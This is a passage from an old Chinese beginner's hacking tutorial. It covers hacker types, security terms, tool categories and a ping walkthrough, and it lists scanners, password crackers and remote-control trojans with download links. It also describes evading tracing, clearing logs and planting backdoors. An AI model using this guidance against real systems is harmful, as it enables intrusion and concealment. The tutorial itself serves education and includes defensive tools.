           以我的理解,“黑客”大体上应该分为“正”、“邪”两类,正派黑客依靠自己掌握的知识帮助系统管理员找出系统中的漏洞并加以完善,而邪派黑客则是通过各种黑客技能对系统进行攻击、入侵或者做其他一些有害于网络的事情,因为邪派黑客所从事的事情违背了《黑客守则》,所以他们真正的名字叫“骇客” (Cracker)而非“黑客”(Hacker),也就是我们平时经常听说的“黑客”(Cacker)和“红客”(Hacker)。
           无论那类黑客,他们最初的学习内容都将是本部分所涉及的内容,而且掌握的基本技能也都是一样的。即便日后他们各自走上了不同的道路,但是所做的事情也差不多,只不过出发点和目的不一样而已。
           很多人曾经问我:“做黑客平时都做什么?是不是非常刺激?”也有人对黑客的理解是“天天做无聊且重复的事情”。实际上这些又是一个错误的认识,黑客平时需要用大量的时间学习,我不知道这个过程有没有终点,只知道“多多益善”。由于学习黑客完全出于个人爱好,所以无所谓“无聊”;重复是不可避免的,因为“熟能生巧”,只有经过不断的联系、实践,才可能自己体会出一些只可意会、不可言传的心得。
           在学习之余,黑客应该将自己所掌握的知识应用到实际当中,无论是哪种黑客做出来的事情,根本目的无非是在实际中掌握自己所学习的内容。黑客的行为主要有以下几种:
    一、学习技术:
           互联网上的新技术一旦出现,黑客就必须立刻学习,并用最短的时间掌握这项技术,这里所说的掌握并不是一般的了解,而是阅读有关的“协议”(rfc)、深入了解此技术的机理,否则一旦停止学习,那么依靠他以前掌握的内容,并不能维持他的“黑客身份”超过一年。
           初级黑客要学习的知识是比较困难的,因为他们没有基础,所以学习起来要接触非常多的基本内容,然而今天的互联网给读者带来了很多的信息,这就需要初级学习者进行选择:太深的内容可能会给学习带来困难;太“花哨”的内容又对学习黑客没有用处。所以初学者不能贪多,应该尽量寻找一本书和自己的完整教材、循序渐进的进行学习。
    二、伪装自己:
           黑客的一举一动都会被服务器记录下来,所以黑客必须伪装自己使得对方无法辨别其真实身份,这需要有熟练的技巧,用来伪装自己的IP地址、使用跳板逃避跟踪、清理记录扰乱对方线索、巧妙躲开防火墙等。
           伪装是需要非常过硬的基本功才能实现的,这对于初学者来说成的上“大成境界”了,也就是说初学者不可能用短时间学会伪装,所以我并不鼓励初学者利用自己学习的知识对网络进行攻击,否则一旦自己的行迹败露,最终害的害是自己。
           如果有朝一日你成为了真正的黑客,我也同样不赞成你对网络进行攻击,毕竟黑客的成长是一种学习,而不是一种犯罪。
    三、发现漏洞:
           漏洞对黑客来说是最重要的信息,黑客要经常学习别人发现的漏洞,并努力自己寻找未知漏洞,并从海量的漏洞中寻找有价值的、可被利用的漏洞进行试验,当然他们最终的目的是通过漏洞进行破坏或着修补上这个漏洞。
           黑客对寻找漏洞的执著是常人难以想象的,他们的口号说“打破权威”,从一次又一次的黑客实践中,黑客也用自己的实际行动向世人印证了这一点——世界上没有“不存在漏洞”的程序。在黑客眼中,所谓的“天衣无缝”不过是“没有找到”而已。
    四、利用漏洞:
           对于正派黑客来说,漏洞要被修补;对于邪派黑客来说,漏洞要用来搞破坏。而他们的基本前提是“利用漏洞”,黑客利用漏洞可以做下面的事情:
           1、获得系统信息:有些漏洞可以泄漏系统信息,暴露敏感资料,从而进一步入侵系统;
           2、入侵系统:通过漏洞进入系统内部,或取得服务器上的内部资料、或完全掌管服务器;
           3、寻找下一个目标:一个胜利意味着下一个目标的出现,黑客应该充分利用自己已经掌管的服务器作为工具,寻找并入侵下一个系统;
           4、做一些好事:正派黑客在完成上面的工作后,就会修复漏洞或者通知系统管理员,做出一些维护网络安全的事情;
           5、做一些坏事:邪派黑客在完成上面的工作后,会判断服务器是否还有利用价值。如果有利用价值,他们会在服务器上植入木马或者后门,便于下一次来访;而对没有利用价值的服务器他们决不留情,系统崩溃会让他们感到无限的快感!


    第二节、黑客应掌握的基本技能
           从这一节开始,我们就真正踏上学习黑客的道路了,首先要介绍的是作为一名初级黑客所必须掌握的基本技能,学习这可以通过这一节的阅读了解到黑客并不神秘,而且学习起来很容易上手。为了保证初学者对黑客的兴趣,所以本书采取了循环式进度,也就是说每一章节的内容都是独立、全面的,学习者只有完整的学习过一章的内容,才能够进而学习下一章的内容。
    一、了解一定量的英文:
           学习英文对于黑客来说非常重要,因为现在大多数资料和教程都是英文版本,而且有关黑客的新闻也是从国外过来的,一个漏洞从发现到出现中文介绍,需要大约一个星期的时间,在这段时间内网络管理员就已经有足够的时间修补漏洞了,所以当我们看到中文介绍的时候,这个漏洞可能早就已经不存在了。因此学习黑客从一开始就要尽量阅读英文资料、使用英文软件、并且及时关注国外著名的网络安全网站。
    二、学会基本软件的使用:
           这里所说的基本软件是指两个内容:一个是我们日常使用的各种电脑常用命令,例如ftp、ping、net等;另一方面还要学会有关黑客工具的使用,这主要包括端口扫描器、漏洞扫描器、信息截获工具和密码破解工具等。因为这些软件品种多,功能各不相同,所以本书在后面将会介绍几款流行的软件使用方法,学习者在掌握其基本原理以后,既可以选择适合自己的,也可以在“第二部分”中找到有关软件的开发指南,编写自己的黑客工具。
    三、初步了解网络协议和工作原理:
           所谓“初步了解”就是“按照自己的理解方式”弄明白网络的工作原理,因为协议涉及的知识多且复杂,所以如果在一开始就进行深入研究,势必会大大挫伤学习积极性。在这里我建议学习者初步了解有关tcp/ip协议,尤其是浏览网页的时候网络是如何传递信息、客户端浏览器如何申请“握手信息”、服务器端如何“应答握手信息”并“接受请求”等内容,此部分内容将会在后面的章节中进行具体介绍。
    四、熟悉几种流行的编程语言和脚本:
           同上面所述一样,这里也不要求学习者进行深入学习,只要能够看懂有关语言、知道程序执行结果就可以了。建议学习者初步学习C语言、asp和cgi脚本语言,另外对于htm超文本语言和php、java等做基本了解,主要学习这些语言中的“变量”和“数组”部分,因为语言之间存在内在联系,所以只要熟练掌握其中一们,其他语言也可以一脉相同,建议学习C语言和htm超文本语言。
    五、熟悉网络应用程序:
           网络应用程序包括各种服务器软件后台程序,例如:wuftp、Apache等服务器后台;还有网上流行的各种论坛、电子社区。有条件的学习者最好将自己的电脑做成服务器,然后安装并运行一些论坛代码,经过一番尝试之后,将会感性的弄清楚网络工作原理,这比依靠理论学习要容易许多,能够达到事半功倍的效果!


    第一章、基本理论和基本知识 
    第一节、网络安全术语解释
    一、协议:
           网络是一个信息交换的场所,所有接入网络的计算机都可以通过彼此之间的物理连设备行信息交换,这种物理设备包括最常见的电缆、光缆、无线WAP和微波等,但是单纯拥有这些物理设备并不能实现信息的交换,这就好像人类的身体不能缺少大脑的支配一样,信息交换还要具备软件环境,这种“软件环境”是人类实现规定好的一些规则,被称作“协议”,有了协议,不同的电脑可以遵照相同的协议使用物理设备,并且不会造成相互之间的“不理解”。
           这种协议很类似于“摩尔斯电码”,简单的一点一横,经过排列可以有万般变化,但是假如没有“对照表”,谁也无法理解一分杂乱无章的电码所表述的内容是什么。电脑也是一样,它们通过各种预先规定的协议完成不同的使命,例如RFC1459协议可以实现IRC服务器与客户端电脑的通信。因此无论是黑客还是网络管理员,都必须通过学习协议达到了解网络运作机理的目的。
           每一个协议都是经过多年修改延续使用至今的,新产生的协议也大多是在基层协议基础上建立的,因而协议相对来说具有较高的安全机制,黑客很难发现协议中存在的安全问题直接入手进行网络攻击。但是对于某些新型协议,因为出现时间短、考虑欠周到,也可能会因安全问题而被黑客利用。
           对于网络协议的讨论,更多人则认为:现今使用的基层协议在设计之初就存在安全隐患,因而无论网络进行什么样的改动,只要现今这种网络体系不进行根本变革,从根本上就无法杜绝网络黑客的出现。但是这种黑客机能已经超出了本书的范围,因而不在这里详细介绍。
    二、服务器与客户端:
           最简单的网络服务形式是:若干台电脑做为客户端,使用一台电脑当作服务器,每一个客户端都具有向服务器提出请求的能力,而后由服务器应答并完成请求的动作,最后服务器会将执行结果返回给客户端电脑。这样的协议很多。例如我们平时接触的电子邮件服务器、网站服务器、聊天室服务器等都属于这种类型。另外还有一种连接方式,它不需要服务器的支持,而是直接将两个客户端电脑进行连接,也就是说每一台电脑都既是服务器、又是客户端,它们之间具有相同的功能,对等的完成连接和信息交换工作。例如DCC传输协议即属于此种类型。
           从此看出,客户端和服务器分别是各种协议中规定的请求申请电脑和应答电脑。作为一般的上网用户,都是操作着自己的电脑(客户端),别且向网络服务器发出常规请求完成诸如浏览网页、收发电子邮件等动作的,而对于黑客来说则是通过自己的电脑(客户端)对其他电脑(有可能是客户端,也有可能是服务器)进行攻击,以达到入侵、破坏、窃取信息的目的。
    三、系统与系统环境:
           电脑要运作必须安装操作系统,如今流行的操作系统主要由UNIX、Linux、Mac、BSD、Windows2000、 Windows95/98/Me、Windows NT等,这些操作系统各自独立运行,它们有自己的文件管理、内存管理、进程管理等机制,在网络上,这些不同的操作系统既可以作为服务器、也可以作为客户端被使用者操作,它们之间通过“协议”来完成信息的交换工作。
           不同的操作系统配合不同的应用程序就构成了系统环境,例如Linux系统配合Apache软件可以将电脑构设成一台网站服务器,其他使用客户端的电脑可以使用浏览器来获得网站服务器上供浏览者阅读的文本信息;再如Windows2000配合Ftpd软件可以将电脑构设成一台文件服务器,通过远程ftp登陆可以获得系统上的各种文件资源等。
    四、IP地址和端口:
           我们上网,可能会同时浏览网页、收发电子邮件、进行语音聊天……如此多的网络服务项目,都是通过不同的协议完成的,然而网络如此之大,我们的电脑怎么能够找到服务项目所需要的电脑?如何在一台电脑上同时完成如此多的工作的呢?这里就要介绍到IP地址了。
           每一台上网的电脑都具有独一无二的IP地址,这个地址类似于生活中人们的家庭地址,通过网络路由器等多种物理设备(无需初级学习者理解),网络可以完成从一个电脑到另一个电脑之间的信息交换工作,因为他们的IP地址不同,所以不会出现找不到目标的混乱局面。但是黑客可以通过特殊的方法伪造自己电脑的IP地址,这样当服务器接受到黑客电脑(伪IP地址)的请求后,服务器会将应答信息传送到伪IP地址上,从而造成网络的混乱。当然,黑客也可以根据IP地址轻易的找到任何上网者或服务器,进而对他们进行攻击(想想现实中的入室抢劫),因而如今我们会看到很多关于《如何隐藏自己IP地址》的文章。
           接下来我解释一下上面提到的第二个问题:一台电脑上为什么能同时使用多种网络服务。这好像北京城有八个城门一样,不同的协议体现在不同的网络服务上,而不同的网络服务则会在客户端电脑上开辟不同的端口(城门)来完成它的信息传送工作。当然,如果一台网络服务器同时开放了多种网络服务,那么它也要开放多个不同的端口(城门)来接纳不同的客户端请求。
           网络上经常听到的“后门”就是这个意思,黑客通过特殊机能在服务器上开辟了一个网络服务,这个服务可以用来专门完成黑客的目的,那么服务器上就会被打开一个新的端口来完成这种服务,因为这个端口是供黑客使用的,因而轻易不会被一般上网用户和网络管理员发现,即“隐藏的端口”,故“后门”。
           每一台电脑都可以打开65535个端口,因而理论上我们可以开发出至少65535种不同的网络服务,然而实际上这个数字非常大,网络经常用到的服务协议不过几十个,例如浏览网页客户端和服务端都使用的是80号端口,进行IRC聊天则在服务端使用6667端口、客户端使用1026端口等。
    五、漏洞:
           漏洞就是程序中没有考虑到的情况,例如最简单的“弱口令”漏洞是指系统管理员忘记屏蔽某些网络应用程序中的账号;Perl程序漏洞则可能是由于程序员在设计程序的时候考虑情况不完善出现的“让程序执行起来不知所措”的代码段,“溢出”漏洞则属于当初设计系统或者程序的时候,没有预先保留出足够的资源,而在日后使用程序是造成的资源不足;特殊IP包炸弹实际上是程序在分析某些特殊数据的时候出现错误等……
           总而言之,漏洞就是程序设计上的人为疏忽,这在任何程序中都无法绝对避免,黑客也正是利用种种漏洞对网络进行攻击的,本章开始的字眼儿“网络安全”实际就是“漏洞”的意思。黑客利用漏洞完成各种攻击是最终的结果,其实真正对黑客的定义就是“寻找漏洞的人”,他们并不是以网络攻击为乐趣,而是天天沉迷在阅读他人的程序并力图找到其中的漏洞。应该说,从某种程度上讲,黑客都是“好人”,他们为了追求完善、建立安全的互联网才投身此行的,只不过因为有的黑客或者干脆是伪黑客经常利用具有攻击性的漏洞,近些年人们才对黑客有了畏惧和敌视的心理。
    六、加密与解密:
           在“协议”的讲解中,我提到了“由于网络设计的基层存在问题……”,简单的说这一问题是允许所有上网者参与信息共享,因而对某些商业、个人隐私在网络上的传送,就会暴露在众目睽睽之下,我们的信用卡、个人电子邮件等都可以通过监听或者截获的方式被他人的到,如何才能让这些信息安全呢?读者也许想到了“二战中”的间谍战:参战国家在使用电报的时候,都对代码进行了加密处理,只有知道了“密码薄”的接收者,才可以进行译码工作。正是这种古老的加密方式,在现代化的网络上也依然存在它旺盛的生命力,通过加密处理的信息在网络上传送,无论谁拿到了这份文件,只要没有“密码薄”仍然是白费力气的。
           网络上最长使用的是设置个人密码、使用DES加密锁,这两种加密方式分别可以完成用户登陆系统、网站、电子邮件信箱和保护信息包的工作,而黑客所要进行的工作,就是通过漏洞、暴力猜测、加密算法反向应用等方式获得加密档案的明文,有人把“魔高一尺、道高一仗”用在这里,的确是在恰当不过了!网络上的加密方法和需要验证密码的系统层出不穷,黑客也在寻找破解这些系统的种种办法。
           可以说,“漏洞”和“解密”是两个完全不同的黑客领域,对于不同的学习者对他们的偏好,将会直接影响到今后将会成为的黑客类型,因而在二者之间的选择,应根据个人喜好进行,本书将会侧重学习“漏洞”方面的知识。
    七、特洛伊木马:
           特洛伊木马是一个程序,这个程序可以做程序设计者有意设计的未出现过的事情。但是对于特洛伊木马所做的操作,不论是否用户了解,都是不被赞同的。根据某些人的认识,病毒是特洛伊木马的一个特例,即:能够传播到其他的程序当中(也就是将这些程序也变成特洛伊木马)。根据另外的人的理解,不是有意造成任何损坏的病毒不是特洛伊木马。最终,不论如何定义,许多人仅仅用“特洛伊木马”来形容不能复制的带有恶意的程序,以便将特洛伊木马与病毒区分开.

    第三节、常用黑客软件用途分类
    一、防范:
           这是从安全的角度出发涉及的一类软件,例如防火墙、查病毒软件、系统进程监视器、端口管理程序等都属于此类软件。这类软件可以在最大程度上保证电脑使用者的安全和个人隐私,不被黑客破坏。网络服务器对于此类软件的需要也是十分重视的,如日志分析软件、系统入侵软件等可以帮助管理员维护服务器并对入侵系统的黑客进行追踪。
    二、信息搜集:
           信息搜集软件种类比较多,包括端口扫描、漏洞扫描、弱口令扫描等扫描类软件;还有监听、截获信息包等间谍类软件,其大多数属于亦正亦邪的软件,也就是说无论正派黑客、邪派黑客、系统管理员还是一般的电脑使用者,都可以使用者类软件完成各自不同的目的。在大多数情况下,黑客使用者类软件的频率更高,因为他们需要依靠此类软件对服务器进行全方位的扫描,获得尽可能多的关于服务器的信息,在对服务器有了充分的了解之后,才能进行黑客动作。
    三、木马与蠕虫:
           这是两种类型的软件,不过他们的工作原理大致相同,都具有病毒的隐藏性和破坏性,另外此类软件还可以由拥有控制权的人进行操作,或由事先精心设计的程序完成一定的工作。当然这类软件也可以被系统管理员利用,当作远程管理服务器的工具。
    四、洪水:
           所谓“洪水”即信息垃圾炸弹,通过大量的垃圾请求可以导致目标服务器负载超负荷而崩溃,近年来网络上又开始流行DOS分散式攻击,简单地说也可以将其归入此类软件中。洪水软件还可以用作邮件炸弹或者聊天式炸弹,这些都是经过简化并由网络安全爱好者程序化的“傻瓜式”软件,也就是本书一开始指责的“伪黑客” 手中经常使用的软件。
    五、密码破解:
           网络安全得以保证的最实用方法是依靠各种加密算法的密码系统,黑客也许可以很容易获得一份暗文密码文件,但是如果没有加密算法,它仍然无法获得真正的密码,因此使用密码破解类软件势在必行,利用电脑的高速计算能力,此类软件可以用密码字典或者穷举等方式还原经过加密的暗文。
    六、欺骗:
           如果希望获得上面提到的明文密码,黑客需要对暗文进行加密算法还原,但如果是一个复杂的密码,破解起来就不是那么简单了。但如果让知道密码的人直接告诉黑客密码的原型,是不是更加方便?欺骗类软件就是为了完成这个目的而设计的。
    七、伪装:
           网络上进行的各种操作都会被ISP、服务器记录下来,如果没有经过很好的伪装就进行黑客动作,很容易就会被反跟踪技术追查到黑客的所在,所以伪装自己的 IP地址、身份是黑客非常重要的一节必修课,但是伪装技术需要高深的网络知识,一开始没有坚实的基础就要用到这一类软件了。

    四节、学习黑客的基本环境
    一、操作系统的选择:
           我们经常听说黑客酷爱Linux系统,这是因为Linux相对Windows提供了更加灵活的操作方式,更加强大的功能。例如对于IP地址的伪造工作,利用Linux系统编写特殊的IP头信息可以轻松完成,然而在Windows系统下却几乎不可能做到。但是Linux也有它不足的一面,这个系统的命令庞杂、操作复杂,并不适合初学者使用,而且对于个人学习者,并没有过多的人会放弃“舒适”的Windows、放弃精彩的电脑游戏和便捷的操作方式,去全心投入黑客学习中。而且对于初学黑客的学习者来说,大多数网络知识都可以在Windows系统中学习,相对Linux系统,Windows平台下的黑客软件也并不在少数,另外通过安装程序包,Windows系统中也可以调试一定量的程序,因此初步学习黑客没有必要从Linux入手。
           本书使用的平台WindowsME,因为对于个人用户来说,NT或者2000多少有些苛刻——系统配置要求太高;然而使用95或者98又缺少某些必要的功能——NET、TELNET命令不完善。但是本书的大部分内容测试漏洞,从远程服务器出发,所以也不是非要WindowsME操作系统进行学习,对于少数系统版本之间的差异,学习者可以和我联系获得相应系统的学习方法。
    二、需要的常用软件:
           如果你的系统是WindowsME,那么告诉你一个好消息——你没有必要安装过多的额外软件,因为我们接触的黑客知识依靠系统提供给我们的命令和内置软件就足可以完成了!除了基本的操作系统以外,学习者还需要安装各类扫描器,之后下载一个比较优秀的木马软件、一个监听类软件,除此以外别无它求。如果有必要,读者可以自行安装本文上述软件,然后学习其用法,但是我要告诉你,对于各类炸弹、还有网络上各式各样的黑客软件,在学习完本书后,你都可以自己制作、自己开发,根本没有必要使用他人编写的软件。
           对于扫描器和监听软件,我给出以下建议,并且在本书的后面还会对这几个软件进行详细介绍:

           扫描器:x-scanner
           下载地址:http://www.xfocus.org/

           监听软件:analyzer
           下载地址:http://netgroup-serv.polito.it/netgroup/tools.html

           木马:BackOffice
           下载地址:http://www.hack-net.com/

           这三个软件都是免费的,而且功能异常强大。像xscanner是国产软件,他集成了多种扫描功能于一身,并且同时支持控制台和图形界面两种操作方式,另外提供了详细的漏洞使用说明。对于初学者来说,具备了这两个工具,学习黑客已经绰绰有余了。
    三、额外的工具:
           如果可以安装下面的工具,将会对学习黑客有莫大的帮助,当然下面的软件主要是学习额外内容并为“第二部分”学习作铺垫用的,所以没有也不会妨碍本书的学习。
    1、后台服务器:
           拥有某些网络应用的后台服务程序,可以将自己的电脑设置成一个小型服务器,用来学习相应的网络应用,从“内部”了解其运作机理,这将会大大提高自己对服务器的感性认识,同时还能够在激活服务器的时候;监测自己服务器上的数据,如果有其他黑客来攻击,则可以清晰的记录下对方的攻击过程,从而学习到更多的黑客攻击方法。对于本书而言,主要介绍网站的Perl和asp等脚本语言漏洞,所以可以安装一个IIS或者HTTPD。然后在安装ActivePerl,使自己的服务器具备编译cgi和pl脚本的能力。使用自己的服务器还有一个好处,可以节省大量的上网时间,将学习、寻找漏洞的过程放到自己的电脑上,既节省了金钱、有不会对网络构成威胁,一举两得。
    2、C语言编译平台:
           今后在学习黑客的路途中,将会遇到很多“属于自己的问题”,这些问题网络上的其他人可能不会注意,所以无法找到相应的程序,这个时候学习者就要自己动手开发有关的工具了,所以安装一个Borland C++将会非常便捷,通过这个编译器,学习者既可以学习C语言,也能够修改本书后面列出的一些小程序,打造一个属于自己的工具库。
    四、网络安全软件分类
           现在我们来了解一下有关网络安全软件的分类,因为学习黑客知识是两个相互联系的过程:既学习如何黑,还要学会如何防止被黑。
    1、防火墙:
           这是网络上最常见的安全机制软件,防火墙有硬件的、也有软件的,大多数读者看到的可能更多都是软件防火墙。其功能主要是过滤垃圾信息(保证系统不会受到炸弹攻击)、防止蠕虫入侵、防止黑客入侵、增加系统隐私性(对敏感数据进行保护)、实时监控系统资源,防止系统崩溃、定期维护数据库,备份主要信息……防火墙可以将系统本身的漏洞修补上,让黑客没有下手的机会。另外对于拥有局域网的企业来说,防火墙可以限制系统端口的开放,禁止某些网络服务(杜绝木马)。
    2、检测软件:
           互联网上有专门针对某个黑客程序进行清除的工具,但是这类软件更多是集成在杀毒软件或者防火墙软件内的,对于系统内的木马、蠕虫可以进行检测并清除,软件为了保护系统不受侵害,会自动保护硬盘数据、自动维护注册表文件、检测内容可以代码、监测系统端口开放状态等。如果用户需要,软件还可以编写有关的脚本对指定端口进行屏蔽(防火墙一样具备此功能)。
    3、备份工具:
           专门用来备份数据的工具可以帮助服务器定期备份数据,并在制定时间更新数据,这样即便黑客破坏了服务器上的数据库,软件也可以在短时间内完全修复收到入侵的数据。另外对于个人用户,这类软件可以对硬盘进行完全映像备份,一旦系统崩溃,用户利用这类软件可以将系统恢复到原始状态,例如Ghost就是这类软件中的佼佼者。
    4、日志纪录、分析工具:
           对于服务器来说,日志文件是必不可少的,管理员可以通过日志了解服务器的请求类型和请求来源,并且根据日志判断系统是否受到黑客攻击。通过日志分析软件,管理员可以轻松的对入侵黑客进行反追踪,找到黑客的攻击来源,进而抓不黑客。这也就是为什么黑客在攻击的时候多采用IP地址伪装、服务器跳转,并在入侵服务器之后清除日志文件的原因。

    第五节、网络流行黑客软件简介
    一、国产软件简介
    溯雪
    密码探测器:利用溯雪可以轻松的完成基于web形式的各种密码猜测工作,例如email、forum中的注册用户密码等。软件采取多线程编写,除了支持字典和穷举以外,软件最大的特色是可以自己编写猜测规则,例如可以按照中文拼音或者英文单词拼写规则随机组合出字典文件,最大程度上保证了猜测的准确性。
    软件下载地址:http://www.netxeyes.com/dansnowb7setup.exe

    乱刀
    密码破解:乱刀可以破解unix系统中的密码暗文,对于取得了etc/passwd文件的黑客来说这是必不可少的。
    软件下载地址:http://www.netxeyes.com/bladese.exe

    天网
    防火墙软件:中国第一套通过公安部认证的软硬件集成防火墙,能有效的防止黑客入侵,抵御来自外部网络的攻击,保证内部系统的资料不被盗取,它根据系统管理者设定的安全规则把守企业网络,提供强大的访问控制、身份认证、应用选通、网络地址转换、信息过滤、虚拟专网、流量控制、虚拟网桥等功能。
    软件下载地址:http://sky.net.cn/files/skynet2.43.exe

    冰河
    木马类软件:国内响当当的木马软件,知名度绝不亚于BO,主要用于远程监控。自动跟踪屏幕变化、记录各种口令信息、获取系统信息、限制系统功能、任意操作文件及注册表、远程关机、发送信息等多种监控功能。此软件的一大特色是可以由使用者自己设置需要占用的端口,如此一来监控类软件就很难从端口号上直接判断系统是否存在冰河了。
    软件下载地址:http://www.newhua.com.cn/down/glacier.zip

    绿色警戒
    防火墙软件:绿色警戒是中联绿盟信息技术公司开发的Win2000下个人防火墙软件,具有可靠的稳定性,能够对发送和接收信息进行分析过滤、能够编写规则防止系统受到攻击。
    软件下载地址:http://etrade.nsfocus.com/introduce/Nsfocus_FW2000.zip

    小分析家
    监测类软件:免费网络协议分析工具,这个工具的特点是界面简单实用,与国外的一些sniffer产品相比,如Netxray,结果更为直观。此软件为免费版本,只能运行在NT系统下,同时编写此软件的公司还提供了软件的商业版本“网警“。
    软件下载地址:http://www.cnns.net/freetools/nt/analyze.zip

    网络精灵
    木马类软件:最具威力的远程控制软件之一。中国木马软件的开山鼻祖。国内用户最多、使用范围最广的国产远程控制软件。自从1998年初NetSpy1.0版发布以来,历经多次升级和完善,已经成为非常成熟、稳定的远程控制软件。
    软件下载地址:http://www.siriusoft.net/software/netspy30.zip

    快速搜索
    端口扫描器:快速搜索是一个在网络上搜索服务器的软件,可以根据给定的地址和端口号查找机器。具有多线程同时搜索技术,可以将搜索速度提高到单线程的十倍以上。
    软件下载地址:http://www.siriusoft.net/software/findhost.zip

    二、常见网络安全软件简介
    Local Port Scanner
    本地端口扫描器:通过这个软件可以监测本地电脑被打开的端口。此软件可以监测大多数黑客入侵或者木马占用的端口,它有五种不同的扫描方式并可以获得有关端口的详细扫描信息。
    软件下载地址:http://24.8.193.241/1515/Anti-Hacker/lps.exe

    A-spy
    系统进程察看器:A-spy可以监测Windows系统启动过程中调用的所有程序、执行的进程,并将结果保存在日志文件中。这个软件的用途是检察系统是否被安置了木马程序,同时软件还可以对系统启动需要调用的程序进行增加、删除和编辑等操作,改变调用程序之间的先后顺序,软件支持包括NT、2000在内的所有Windows平台,具有17种方式清楚木马程序。
    软件下载地址:http://24.8.193.241/1515/Anti-Hacker/aspy32.zip

    Netmon
    图形化Netstat命令:Netmon是图形化的Netstat命令,它运行在Windows系统中,可以察看系统的TCP、UDP连接状态,同时此软件提供了一份完整的木马、蠕虫占用端口清单,可以快速了解系统是否存在安全问题。
    软件下载地址:http://24.8.193.241/1515/Anti-Hacker/netmon153.exe

    LANguard Network Scanner
    局域网资料收集器:LANguard允许使用者扫描局域网内部的搜索电脑,搜集他们的netbios信息、打开端口、共享情况和其他相关资料,这些资料及可以被黑客利用进行攻击,也可以被管理员利用进行安全维护,通过它可以强行关闭指定端口和共享目录。
    软件下载地址:http://24.8.193.241/1515/Anti-Hacker/lannetscan.exe

    Leechsoft's NetMonitor
    TCP/IP状态分析程序:这个软件使用于系统安全管理员、网络程序开发员、一般的拥护。此工具可以显示电脑在上网状态下存在的TCP/IP连接,同时还能分析是否有其他人正在监视上网者电脑中的某个端口,同时此工具内部还有一个功能强大的端口扫描程序。
    软件下载地址:http://24.8.193.241/1515/Anti-Hacker/netmon2beta.exe

    Win Trinoo Server Sniper
    清除Win.Trinoo Server程序:Win.Trinoo是一个类似DOS攻击的木马程序,被植入它的电脑将变成一台Win.Trinoo Server,黑客通过这个Server能够“借刀杀人”攻击其他电脑系统。Win Trinoo Server Sniper可以高速的监测电脑是否存在此问题。
    软件下载地址:http://24.8.193.241/1515/Anti-Hacker/trinooss.zip

    SubSeven Server Sniper
    清除SubSeven Server程序:同上面的工具一样,SubSeven也是一个木马程序,而SubSeven Server Sniper则是用来检测并清除SubSeven而设计的。不同的是,这个软件不但可以清楚SubSeven,而且还能搜集攻击者在您电脑中留下的蛛丝马迹,找到攻击者的ICQ号码、email地址等内容,从而为反跟踪提供了详尽的信息。
    软件下载地址:http://24.8.193.241/1515/Anti-Hacker/s7sniper.zip

    Attacker
    端口监听程序:这是一个TCP/UDP端口监听程序,它可以常驻系统并在危险端口打开的时候发出警告信息,保证个人上网隐私的安全性。
    软件下载地址:http://24.8.193.241/1515/Anti-Hacker/attacker.zip

    ICEWatch
    BlackICE插件:这个插件可以完善BlackICE的结果列表,让列表更加详尽,同时该插件还提供了更好的结果分类查询功能,并且可以对结果进行复制、编辑等操作。另外此插件为BlackICE提供了声音,可以设置软件使用过程中的提醒、警告的音效。
    软件下载地址:http://24.8.193.241/1515/Anti-Hacker/icewatch2.zip

    StartupMonitor
    系统进程监视程序:这个程序在系统启动的时候自动执行,可以实时监视系统注册表的更新情况,防止了类似Netbus、BackOrifice等木马程序的入侵行为。软件环境系统:Windows98或更高版本。
    软件下载地址:http://24.8.193.241/1515/Anti-Hacker/StartupMonitor.zip

    Isecure IP Scanner
    netbios共享扫描器:黑客利用netbios的共享可以进入存在问题的电脑并对硬盘进行操作,同时还可以获得入侵电脑上的隐私资料。这个扫描器就是专门为防止此类事件发生开发的,运行软件会自动扫描目标并报告有关资料。
    软件下载地址:http://24.8.193.241/1515/Anti-Hacker/isis.exe

    AnalogX Port Blocker
    端口屏蔽程序:当使用者的电脑上开放某个端口的时候,任何人都可以通过其开放端口访问相应资源,而AnalogX Port Blocker可以屏蔽某个端口,或者设置特殊IP地址禁止对指定端口的请求,这从一定程度上方便了程序调试人员为在本地系统上从事软件的测试工作。
    软件下载地址:http://24.8.193.241/1515/Anti-Hacker/pblocki.exe

    Tambu Dummy Server
    端口屏蔽程序:这个工具同上面一个程序的功能是一样的,不过不同的是,这个工具是基于控制台模式,更加适合于高手。
    软件下载地址:http://24.8.193.241/1515/Anti-Hacker/tambu_dummy_server.zip

    Tambu Registry Edit
    注册表修改程序:该程序可以让使用者手动修改系统注册表中的各项键值,从而改变系统的性能,同时软件中保存了网络上常见的具有破坏性程序的资料,可以迅速确定系统注册表中是否有可疑程序,并提供了清除和备份等功能。
    软件下载地址:http://24.8.193.241/1515/Anti-Hacker/Tam-registry.exe

    第二章、工具的使用 
    第一节、常用系统命令
    一、ping命令
           在Windows的控制窗口中(Windows 95/98/ME的command解释器、Windows NT/2000的cmd解释器),运行ping可以看到这个命令的说明,它是一个探测本地电脑和远程电脑之间信息传送速度的命令,这个命令需要 TCP/IP协议的支持,ping将会计算一条信息从本地发送到远程再返回所需要的时间,黑客使用这个命令决定是否对服务器进行攻击,因为连接速度过慢会浪费时间、花费过多的上网费用。
           另外这个命令还可以透过域名找到对方服务器的IP地址,我们知道域名只是提供给浏览网页用的,当我们看到一个不错的域名地址后,要想通过telnet连接它,就必须知道对方的IP地址,这里也要使用ping命令的。
           这个命令的基本使用格式可以通过直接运行ping获得,现在假设目标是http://www.abc.com/,则可以在控制台下输入ping www.abc.com,经过等待会得到如下信息:

               Pinging www.abc.com [204.202.136.32] with 32 bytes of data:
               Reply from 204.202.136.32: bytes=32 time=302ms TTL=240
               Reply from 204.202.136.32: bytes=32 time=357ms TTL=240
               Reply from 204.202.136.32: bytes=32 time=288ms TTL=240
               Reply from 204.202.136.32: bytes=32 time=274ms TTL=240

               Ping statistics for 204.202.136.32:
               Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
               Approximate round trip times in milli-seconds:
               Minimum = 274ms, Maximum = 357ms, Average = 305ms

           这些信息的意思是:www.abc.com的IP 地址是204.202.136.32,对他发送了四次数据包,数据包的大小是32字节,每一次返回的时间分别是302ms、357ms、288ms、 274ms。综合看,发送了四个数据包全部返回,最小时间是274ms,最大时间357ms,他们的平均时间是305ms。
           这样黑客就了解了连接对方服务器使用的时间。另外这个命令还有一些特殊的用法,例如可以通过IP地址反查服务器的NetBIOS名,现在以 211.100.8.87为例,使用ping配合“-a”,在控制台下输入命令ping -a 211.100.8.87,它的返回结果是:

               Pinging POPNET-FBZ9JDFV [211.100.8.87] with 32 bytes of data:
               Reply from 211.100.8.87: bytes=32 time=96ms TTL=120
               Reply from 211.100.8.87: bytes=32 time=110ms TTL=120
